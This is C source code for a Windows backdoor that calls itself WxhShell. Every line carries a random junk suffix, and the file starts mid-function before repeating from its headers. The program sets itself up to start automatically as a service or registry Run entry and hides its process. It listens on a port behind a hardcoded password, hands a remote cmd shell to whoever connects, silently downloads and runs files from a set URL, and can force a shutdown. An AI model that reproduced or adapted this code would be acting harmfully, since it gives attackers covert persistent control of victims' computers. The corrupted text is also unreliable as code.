    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SS"Z>talw  
    else { h f9yK6  
    closesocket(wsh); QIu!o,B  
    ExitThread(0); %tZ[wwt  
    } ;7bY>zc(w  
    break; /*hS0xN*  
    } 7,,#f&jP  
  // 获取shell ~ _W>ND  
  case 's': { Jec<1|  
    CmdShell(wsh); sT+\ z  
    closesocket(wsh); ?J's>q^X  
    ExitThread(0); ~=9]M.$  
    break; CQ^I;[=d  
  } kf2e-)uUs  
  // 退出 x(bM   
  case 'x': { (5&l<u"K~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xr$hQbl5D  
    CloseIt(wsh); d{~Qd|<rr  
    break; g%2twq_  
    } LAPC L&Z  
  // 离开  cvO;xR  
  case 'q': { <G#z;]N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); | sZu1K  
    closesocket(wsh); QliP9-im3  
    WSACleanup(); XaR(~2  
    exit(1); g@IYD  
    break; 9}Qrb@DT  
        } 7kH GU  
  } KSy.  
  } Eumdv#Qg  
5H |<h  
  // 提示信息  9Li.B1j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \'Ewn8Qv8  
} iWMgU:T  
  } dX ;G [\  
Jej-b<HmQ  
  return; q<!Kt I4  
} &{(8EvuDd  
u(P;) E"1  
// shell模块句柄 rBovC  
int CmdShell(SOCKET sock) aFVd}RO0  
{ >? ({  
STARTUPINFO si; W.VyH|?  
ZeroMemory(&si,sizeof(si)); 2Ik@L,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X^ZUm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i"U<=~  
PROCESS_INFORMATION ProcessInfo; TM1J1GU  
char cmdline[]="cmd"; N6*v!M+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .W q"  
  return 0; ~L=Idt!9  
} jj*e.t:F  
7COJ.rA  
// 自身启动模式 Mv^G%zg2  
int StartFromService(void) ?jRyw(Q  
{ ?UV ^6  
typedef struct J t,7S4JL  
{ rCFTch"  
  DWORD ExitStatus; x:WxEw>R  
  DWORD PebBaseAddress; +jpC%o}C  
  DWORD AffinityMask; QW1d&Gb.(  
  DWORD BasePriority; b=j]tb,  
  ULONG UniqueProcessId; O.~@V(7ah  
  ULONG InheritedFromUniqueProcessId; d*TpHLm  
}   PROCESS_BASIC_INFORMATION; SK_i 3?  
_I}rQfPJ  
PROCNTQSIP NtQueryInformationProcess; xtP=/B/  
5Pu F]5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )XAD#GYM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t(F] -[  
4*aNdh[t.  
  HANDLE             hProcess; @C fxPA  
  PROCESS_BASIC_INFORMATION pbi; 1F_ 1bAh$  
\qh -fW; #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Z(~;D  
  if(NULL == hInst ) return 0; hSyA;*)U  
U?:<clh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IfGQeynj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .+TriPL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9QryW\6.@z  
'L0{Ed+9  
  if (!NtQueryInformationProcess) return 0; UCP4w@C  
`nDgwp:b"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1*Ui=M4  
  if(!hProcess) return 0; >{]mN5  
qg;f h]j%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )wwQv2E  
X[ o9^<  
  CloseHandle(hProcess); "x$RTuWA9  
KGI0|Z]n~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7VwLyy  
if(hProcess==NULL) return 0; P"WnU'+  
h.W;Dmf6]  
HMODULE hMod; );.q:"  
char procName[255]; ;qF#!Kb5  
unsigned long cbNeeded; (~>L \]!  
Ck0R%|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z 7M%}V%  
$&|*v1rH  
  CloseHandle(hProcess); ~CB6+t>  
iEf6oM  
if(strstr(procName,"services")) return 1; // 以服务启动 Eb<iR)e H=  
= ?hx+-'  
  return 0; // 注册表启动 ]8XY "2b  
} vQ}'4i8(  
fYzOT, c  
// 主模块 yEfV8aY'*  
int StartWxhshell(LPSTR lpCmdLine) |,ZmRW^2K  
{ {m/\AG)1I  
  SOCKET wsl; hL,+wJ+A  
BOOL val=TRUE; D~xU r )E  
  int port=0; * QF3l0&  
  struct sockaddr_in door; <k^P>Irb3t  
$MmCh&V  
  if(wscfg.ws_autoins) Install(); .qioEqK8!y  
ReCmv/AE  
port=atoi(lpCmdLine); d&p]O  
aO]0|<2 j  
if(port<=0) port=wscfg.ws_port; kxg]sr"  
'`Smg3T!~S  
  WSADATA data; {t$ vsR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Odr@9MJ  
Upr:sB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 1Nj&1Ze  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $e|G#mMd-  
  door.sin_family = AF_INET; w\'Zcw,d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rZy38Wo  
  door.sin_port = htons(port); xi=qap=S^9  
[Pdm1]":(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r'p;Nj.  
closesocket(wsl); ,0#5kc*X  
return 1; 26E"Ui5q  
} .d5|Fs~B  
gnoV>ON0  
  if(listen(wsl,2) == INVALID_SOCKET) { W.ud<OKP90  
closesocket(wsl); <)zh2UI  
return 1; B(mxW8y  
} EO,;^RtB  
  Wxhshell(wsl); A`7uw|uO$  
  WSACleanup(); 6$>m s6g%  
N1KYV&'o  
return 0; SPIYB/C  
<=V2~ asB  
} KLXv?4!  
'!!w|k d  
// 以NT服务方式启动 *_$%Tv.]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) buRXzSR  
{ )Xa`LG =|  
DWORD   status = 0; X9nt;A2TU+  
  DWORD   specificError = 0xfffffff; <GShm~XD2  
j8@YoD5o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L;xc,"\3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J! >HT'M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )}?'1ciHI  
  serviceStatus.dwWin32ExitCode     = 0; ^6+P&MxM  
  serviceStatus.dwServiceSpecificExitCode = 0; MjG=6.J|`  
  serviceStatus.dwCheckPoint       = 0; Y$EqBN  
  serviceStatus.dwWaitHint       = 0; LS?hb)7  
`"M=ZVk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A==P?,RG  
  if (hServiceStatusHandle==0) return; >#R<*?*D}  
~\K+)(\SNp  
status = GetLastError(); "gdm RE{x  
  if (status!=NO_ERROR) ASAz<H$  
{ d'Z|+lq:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z\xR+3  
    serviceStatus.dwCheckPoint       = 0; Nora<  
    serviceStatus.dwWaitHint       = 0; / MSz{ %v  
    serviceStatus.dwWin32ExitCode     = status; {t[j>_MYw  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?N#mD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @4h .?  
    return; IBU(Hm1,  
  } m4ovppC  
'oHtg @  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  KEsMes(*  
  serviceStatus.dwCheckPoint       = 0; >  K,Q`sS  
  serviceStatus.dwWaitHint       = 0; K(Otgp+zb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C$)#s{*  
} pq>"GEN  
anA>'63  
// 处理NT服务事件,比如:启动、停止 -zHJ#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PF@<>NO+W  
{ lcvWx%/o@  
switch(fdwControl) l{aXX[E&1  
{ ;,Sl+)@h  
case SERVICE_CONTROL_STOP: ?D\6CsNp(2  
  serviceStatus.dwWin32ExitCode = 0; VbK| VON[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }MrR svN  
  serviceStatus.dwCheckPoint   = 0; S'V0c%'QQV  
  serviceStatus.dwWaitHint     = 0; DI**fywu[3  
  { 9wC q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @y9_\mX!s  
  } E<'3?(D9hL  
  return; /l0\SVwa>  
case SERVICE_CONTROL_PAUSE: Ve7[U_"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >t?;*K\x"  
  break; " 9 h]P^  
case SERVICE_CONTROL_CONTINUE: vhZpYW8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d/- f]   
  break; <<v,9*h  
case SERVICE_CONTROL_INTERROGATE: vgHMVzxj  
  break; +WK!}xZR  
}; NXDdU^w7B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SwG:?T!"}  
} Gs.id^Sf  
$PstThM  
// 标准应用程序主函数 #+QwRmJdT!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jRXByi=9  
{ d~O\zLQ;  
#=5/D@  
// 获取操作系统版本 \Q?r+VZ  
OsIsNt=GetOsVer(); ~0|Hw.OK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,#UaWq@7  
Tw`^  
  // 从命令行安装 Jp xJZJ  
  if(strpbrk(lpCmdLine,"iI")) Install();  hPx=3L$  
%Ox*?l _  
  // 下载执行文件 ?A2#V(4  
if(wscfg.ws_downexe) { 5X nA.?F^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {G/4#r 2>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?H0 #{!s  
} &I:5<zK{  
mE%H5&VSI  
if(!OsIsNt) { QgC  
// 如果时win9x,隐藏进程并且设置为注册表启动 jw5Bbyk  
HideProc(); W<xu*U(A  
StartWxhshell(lpCmdLine); )O"5dF1l  
} -2w\8]u  
else fZ]Y  
  if(StartFromService()) (m\PcF  
  // 以服务方式启动 gE0k|Z(RF  
  StartServiceCtrlDispatcher(DispatchTable); g,7`emOX  
else ckBcwIXlP&  
  // 普通方式启动 bf-.SX~  
  StartWxhshell(lpCmdLine); &o= #P2Qd  
5<GC  
return 0; - ~T LI&[  
} 7d]}BLpjWz  
:xm, Ok  
g a? .7F  
C!]hu)E  
=========================================== 35?et-=w  
sikG}p0mx<  
=m:xf&r#  
B5~S&HQ?B6  
0ym>Hbax)  
B4r4PSB>!  
" .v9#|d d+  
>93vMk~hU  
#include <stdio.h> /w^}(IJ4  
#include <string.h> p2GkI/6)uu  
#include <windows.h> =66dxU?}  
#include <winsock2.h> '0[D-jEr  
#include <winsvc.h> E;*#fD~@  
#include <urlmon.h> SHOg,#mV  
DFQp<Eq]7  
#pragma comment (lib, "Ws2_32.lib") y9{KBM%h  
#pragma comment (lib, "urlmon.lib") JZNRMxu  
7$b!-I+ a2  
#define MAX_USER   100 // 最大客户端连接数 BRPvBs?Q,{  
#define BUF_SOCK   200 // sock buffer s% 2w&Us*  
#define KEY_BUFF   255 // 输入 buffer IKMkpX!]  
R7r` (c!  
#define REBOOT     0   // 重启 HJo&snT3  
#define SHUTDOWN   1   // 关机 :$~)i?ge<5  
Jajo!X*Wai  
#define DEF_PORT   5000 // 监听端口 }KEyJj3"DA  
b lP@Cn2  
#define REG_LEN     16   // 注册表键长度 |,c QJ  
#define SVC_LEN     80   // NT服务名长度 Fo=Icvo  
g'ha7~w(p  
// 从dll定义API s3>,%8O6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ] +<[D2f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R?b3G4~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :3pJGMv(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V##=-KZ  
{ Iy<iV  
// wxhshell配置信息 xeF0^p7Z  
struct WSCFG { {`2! 3= "  
  int ws_port;         // 监听端口 rG|lRT3-K  
  char ws_passstr[REG_LEN]; // 口令 {?!=~vp  
  int ws_autoins;       // 安装标记, 1=yes 0=no _dky+ E  
  char ws_regname[REG_LEN]; // 注册表键名 I`^ 7Bk.r  
  char ws_svcname[REG_LEN]; // 服务名 Ua\]]<hj"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 47 xyS%X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 umhg O.!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @E %:ALJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *pK bMG#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ``$Dgj[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UmUw>+A  
SR)G!9z_/  
}; >?aPX C  
{AUhF}O  
// default Wxhshell configuration mSF>~D1_  
struct WSCFG wscfg={DEF_PORT, VW:WB.K$  
    "xuhuanlingzhe", Q>Voa&tYn  
    1, .<%2ON_  
    "Wxhshell", Hof@,w  
    "Wxhshell", W/DSj :  
            "WxhShell Service", ;rXkU9  
    "Wrsky Windows CmdShell Service", R?MRRq  
    "Please Input Your Password: ", E w#UlA:"v  
  1, 44C"Pl E u  
  "http://www.wrsky.com/wxhshell.exe", }N[|2n R'  
  "Wxhshell.exe" r@b M3V_o  
    };  mo+zq~,M  
v|fA)W w  
// 消息定义模块 ;,2i1m0"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v;m`d{(i2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wX5Yo{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2[!#Xf  
char *msg_ws_ext="\n\rExit."; hEUS&`K  
char *msg_ws_end="\n\rQuit."; Z>hS&B  
char *msg_ws_boot="\n\rReboot..."; ZeM~13[  
char *msg_ws_poff="\n\rShutdown..."; [d 30mVM  
char *msg_ws_down="\n\rSave to "; Sggha~E2s  
[rk*4b^s  
char *msg_ws_err="\n\rErr!"; a,mG5bQ!  
char *msg_ws_ok="\n\rOK!"; r&  
.TZ0F xW  
char ExeFile[MAX_PATH]; cj K\(b3  
int nUser = 0; [PG#5.jwQ  
HANDLE handles[MAX_USER]; zwJB.4@  
int OsIsNt; (=&z:-52V  
?+Gc. lU  
SERVICE_STATUS       serviceStatus; 1<|\df.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lw+Y_;  
ASGV3r (  
// 函数声明 {zzc/!|  
int Install(void); SB~HHx09  
int Uninstall(void); )(bAi  
int DownloadFile(char *sURL, SOCKET wsh); o]T-7Gs4p  
int Boot(int flag); ^97u0K3$  
void HideProc(void); ?R-4uG[(  
int GetOsVer(void); ~-2%^ovB  
int Wxhshell(SOCKET wsl); j IO2uTM~  
void TalkWithClient(void *cs); 9dS<^E(ZF  
int CmdShell(SOCKET sock); cdd6*+E  
int StartFromService(void); 6sceymq  
int StartWxhshell(LPSTR lpCmdLine); p+x}$&<|  
6=N!()s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RJ}%pA4I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yM,.{m@F<  
. -ihxEbzr  
// 数据结构和表定义 qmmQH S  
SERVICE_TABLE_ENTRY DispatchTable[] = ^.3(o{g  
{ )<ig6b%  
{wscfg.ws_svcname, NTServiceMain}, U$,-F**  
{NULL, NULL} m[aBHA^g  
}; iA.:{^_)09  
YQ? "~[mL  
// 自我安装 ycD.X"  
int Install(void) 9 +1}8"~  
{ #*;G8yV  
  char svExeFile[MAX_PATH]; EBQ,Ypv  
  HKEY key; aI.5w9  
  strcpy(svExeFile,ExeFile); Z7]["  
M=rH*w{^  
// 如果是win9x系统,修改注册表设为自启动 <n4 ?wo  
if(!OsIsNt) { OQnb^fabY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uuaoBf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?uAq goCl  
  RegCloseKey(key); A4K8DP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y26?>.!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gn-@OmIs  
  RegCloseKey(key); hl} iw_e  
  return 0; 1&Z#$iD  
    } ] 6Y6q])Z  
  } x)+ q$FB  
}  " fXs!  
else { Pk ?M~{S  
4H9mKR  
// 如果是NT以上系统,安装为系统服务 i<\WRzVT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #'y4UN  
if (schSCManager!=0) Dpb prT7_  
{ _ASyGmO{  
  SC_HANDLE schService = CreateService .n\j<Kq  
  ( 6 uS;H]nd<  
  schSCManager, ,vDSY N6  
  wscfg.ws_svcname, /Fj*sS8  
  wscfg.ws_svcdisp, 8*x/NaH /\  
  SERVICE_ALL_ACCESS, \Gl>$5np  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `8 Ann~Z|k  
  SERVICE_AUTO_START, PAD&sTjE*  
  SERVICE_ERROR_NORMAL, Q]1s*P  
  svExeFile, yDapl(  
  NULL, q2+`a;_S  
  NULL, sgLw,WZ:  
  NULL, 99GK6}~TGm  
  NULL, S1I# qb  
  NULL GI5#{-)  
  ); R$m?aIN  
  if (schService!=0) |S6L[Uo  
  { Au10]b  
  CloseServiceHandle(schService); <D`VFSEJ  
  CloseServiceHandle(schSCManager); a&z$4!wQB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mI> =S  
  strcat(svExeFile,wscfg.ws_svcname); t) uS7y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /1BqC3]tL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BAIR!  
  RegCloseKey(key); JZup} {a  
  return 0; 7lUnqX.  
    } MA,7 |s  
  } mufXM(  
  CloseServiceHandle(schSCManager); u>\u}c  
} 'z9}I #  
} dKpUw9C#/  
xLShMv}  
return 1; a{ p1Yy-]  
} X..<U}e  
{>Yna"p  
// 自我卸载 ){<qp  
int Uninstall(void)  9dCf@5]  
{ eWGaGRem  
  HKEY key; ET0^_yk  
AfT;IG%Gt  
if(!OsIsNt) { =/m$ayG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'wA4yJ<  
  RegDeleteValue(key,wscfg.ws_regname); { Ba_.]x  
  RegCloseKey(key); ]G}:cCpd+a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { " ?=$(7uc  
  RegDeleteValue(key,wscfg.ws_regname); g/+|gHq^  
  RegCloseKey(key); 1|WrJ-Uf  
  return 0; z1m-t# v:  
  } qFE(H1hy  
} Mi<l;ZP  
} 06]%$ -j  
else { m)ENj6A>yP  
+JejnG0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ake$M^Bz  
if (schSCManager!=0) ?_`X8Ok  
{ G'T: l("l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jaL#  
  if (schService!=0) @5j3[e  
  { #_kV o3  
  if(DeleteService(schService)!=0) { '/F%  ff  
  CloseServiceHandle(schService); 2-dEie/{'  
  CloseServiceHandle(schSCManager); q uL+UFuM  
  return 0; 7r{159&=  
  } |wM<n  
  CloseServiceHandle(schService); !B/5@P  
  } MLvd6tIv,  
  CloseServiceHandle(schSCManager); kYZj^tR  
} HhB&vi  
} )}to7r7 `  
9P& \2/ {  
return 1; T9?8@p\}(  
} !BDJU  
LMRq.wxbbB  
// 从指定url下载文件 J-ErG!  
int DownloadFile(char *sURL, SOCKET wsh) `u" )*Q}  
{ T4Io+b8 $  
  HRESULT hr;  $ucmE  
char seps[]= "/"; 7v V~O@JP  
char *token; S0WKEv@Hn  
char *file; avb'dx*q>  
char myURL[MAX_PATH]; =sUrSVUeU  
char myFILE[MAX_PATH]; .cK<jF@'  
=`g@6S  
strcpy(myURL,sURL); x"~gulcz  
  token=strtok(myURL,seps); b[^|.>b  
  while(token!=NULL) glomwny  
  { 2CRgOFR  
    file=token; 7OD2/{]5  
  token=strtok(NULL,seps); ~\OZEEI  
  } %?PRBE'}'  
ldWrv7. P  
GetCurrentDirectory(MAX_PATH,myFILE); i#%!J:_=  
strcat(myFILE, "\\"); '3]M1EP  
strcat(myFILE, file); k;f%OQsF_  
  send(wsh,myFILE,strlen(myFILE),0); M.K%;j`  
send(wsh,"...",3,0); ~=t K17i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r*g<A2g%  
  if(hr==S_OK) /DX6Hkkj%  
return 0; "b[w%KYyl  
else O4oI&i 7  
return 1; <"Yx}5n.  
$ S]l%  
} _ykT(`.#  
Rg7~?b-  
// 系统电源模块 _n+ 5{\z  
int Boot(int flag) <_#a%+5d  
{ Su]p6B  
  HANDLE hToken; n{=Nf|=  
  TOKEN_PRIVILEGES tkp; LvW7>-  
/-Y.A<ieN8  
  if(OsIsNt) { ;uaZp.<um&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O0QK `F/)*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4||dc}I"E  
    tkp.PrivilegeCount = 1; 6]fz;\DgP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .&rL>A2U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N4u-tlA  
if(flag==REBOOT) { h 6juX'V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~y>NJM>1  
  return 0; ^v&)z ,  
} B qcFbY  
else { Rv|X\Wm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [4b_`L  
  return 0; -5GRit1q?  
} e VRjU  
  } Jj7he(!_1  
  else { Rz"gPU4;`  
if(flag==REBOOT) { I*0TI@Lo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *eAzk2  
  return 0; .$-GGvN]  
} C/YjMYwKgv  
else { :y^%I xs{1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?dY|,_O  
  return 0; -GT&46hX  
} h[oI/X  
} VH6J @m  
A;7At!kK  
return 1; tjbI*Pw7(  
} Bn5$TiTcl  
L~HL*~#d  
// win9x进程隐藏模块 a1g aB:w5n  
void HideProc(void) GI)eq:K_U8  
{ S\ ) ~9?  
?U(`x6\:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?btZdnQ))S  
  if ( hKernel != NULL ) '<Jqp7$dL  
  { 7 |Q;E|=-Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AZfW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M{O8iq[  
    FreeLibrary(hKernel); m!Fx#   
  } s]2_d|Y  
ehyCAp0oI  
return; {qb2!}FQ  
} Kq;s${ |G  
[]hC*  
// 获取操作系统版本 &'oZ]}^ 0  
int GetOsVer(void)  f~w!Z  
{ DGO\&^GT^  
  OSVERSIONINFO winfo; fl o9iifZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O9R[F  
  GetVersionEx(&winfo); 9;tY'32/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {v U;(eN  
  return 1; 0 ![  
  else T[eb<  
  return 0; !EB[Lut m  
} #9(L/)^  
3pjK`"Nmz\  
// 客户端句柄模块 %SJFuw"  
int Wxhshell(SOCKET wsl) 1Y{pf]5Wx  
{ abkt&981K+  
  SOCKET wsh; yR[htD`  
  struct sockaddr_in client; d'2q~   
  DWORD myID; I3d!!L2ma  
_ cm^Fi5  
  while(nUser<MAX_USER) `R,g_{M j  
{ Og<nnq  
  int nSize=sizeof(client); A_2oQ*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L<Q>:U.@\  
  if(wsh==INVALID_SOCKET) return 1; )GR4U8<>g  
v 6KRE3:V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L<0eIw  
if(handles[nUser]==0) s|IC;C|  
  closesocket(wsh); 6 B*,Mu4A  
else v&Oc,W  
  nUser++; 2dnyIgi  
  } wOF";0EN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jo4iWJpK  
\7] SG  
  return 0; ]B3f$;W  
} ;P9cjfSn  
@=dwvl' W  
// 关闭 socket 89\DS!\x9  
void CloseIt(SOCKET wsh) ` *q>E  
{ ~;yP{F8?  
closesocket(wsh); @3Gr2/a  
nUser--; /<Yz;\:Jy  
ExitThread(0); NM4b]>   
} +AYB0`X)  
5LzP0F U  
// 客户端请求句柄 aM|;3j1p  
void TalkWithClient(void *cs) +\U#:gmw  
{ DLd1Cl:"~:  
mY&(&'2T"  
  SOCKET wsh=(SOCKET)cs; +MyXIWmD  
  char pwd[SVC_LEN]; #"!q_@b,D  
  char cmd[KEY_BUFF]; m*~Iu<5L  
char chr[1]; &%r<_1  
int i,j; c|<E~_ .w@  
f7?IXDQ>!  
  while (nUser < MAX_USER) { >8.o  
_:~I(c6   
if(wscfg.ws_passstr) { _p;=]#+c&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E~`l/ W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,dXJCX8so  
  //ZeroMemory(pwd,KEY_BUFF); q}cm"lO$  
      i=0; ].HHTCD`c  
  while(i<SVC_LEN) { maOt/-  
T_Cj=>L  
  // 设置超时 T7?cnK"  
  fd_set FdRead; RiiwsnjC  
  struct timeval TimeOut;  P@FE3g  
  FD_ZERO(&FdRead); !yD$fY  
  FD_SET(wsh,&FdRead); tA{h x -  
  TimeOut.tv_sec=8; x*! %o(G  
  TimeOut.tv_usec=0; OQiyAyX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DdCNCXU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8 t`lRWJ  
7& 'p"hF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 85qD~o?O  
  pwd=chr[0]; d[`vd^hI  
  if(chr[0]==0xd || chr[0]==0xa) { Z7dyPR  
  pwd=0; Q/`W[Et  
  break; V,&A? Y  
  } N~tq ]  
  i++; )jGB[s";)y  
    } mOfTq] @B  
sw+vyBV)r  
  // 如果是非法用户,关闭 socket 1.I58(0~+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z -uW,  
} %<{1 N|  
+*Zjo&pc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7f>~P_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ne 8rF.D  
6)yi^v  
while(1) { "=,IbC  
)`K!XX$%  
  ZeroMemory(cmd,KEY_BUFF); @{U@?6eZ  
$7*@TMX  
      // 自动支持客户端 telnet标准   I R~szUY6  
  j=0; QC6:ZxP  
  while(j<KEY_BUFF) { -lS(W^r4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w5;d/r<q  
  cmd[j]=chr[0]; SAhk`_  
  if(chr[0]==0xa || chr[0]==0xd) { *K;s*-|U  
  cmd[j]=0; Igh=Z %  
  break; @1s 2# )l(  
  } 3|PV.  
  j++; _*++xF1  
    } th%T(D5n  
yq12"Rs  
  // 下载文件 #Wq@j1?  
  if(strstr(cmd,"http://")) { ''H;/&nDX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t5k=ngA  
  if(DownloadFile(cmd,wsh)) eI1C0Uz1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?g4S51zpp  
  else GDYFhH7H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5xhYOwQBo  
  } eFC~&L;  
  else { Yc^,Cj{OM  
sp6A* mwl  
